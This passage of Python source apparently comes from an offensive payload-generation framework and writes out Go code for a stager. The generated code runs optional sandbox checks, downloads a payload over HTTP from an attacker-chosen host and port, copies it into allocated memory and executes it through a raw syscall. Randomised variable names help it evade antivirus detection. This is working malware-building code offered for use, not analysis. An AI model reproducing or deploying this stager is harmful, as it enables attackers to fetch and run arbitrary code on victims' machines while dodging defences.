if sandbox_checks != '':
payload_code += sandbox_checks
payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port)
payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength)
payload_code += "defer %s.Body.Close()\n" % (response)
payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response)
payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload)
payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout)
payload_code += "for %s, %s := range %s {\n" % (x, value, payload)
payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value)
payload_code += "syscall.Syscall(%s, 0, 0, 0, 0)\n}\n" % (allocvarout)
payload_code += '}' * num_curlys
self.payload_source_code = payload_code
return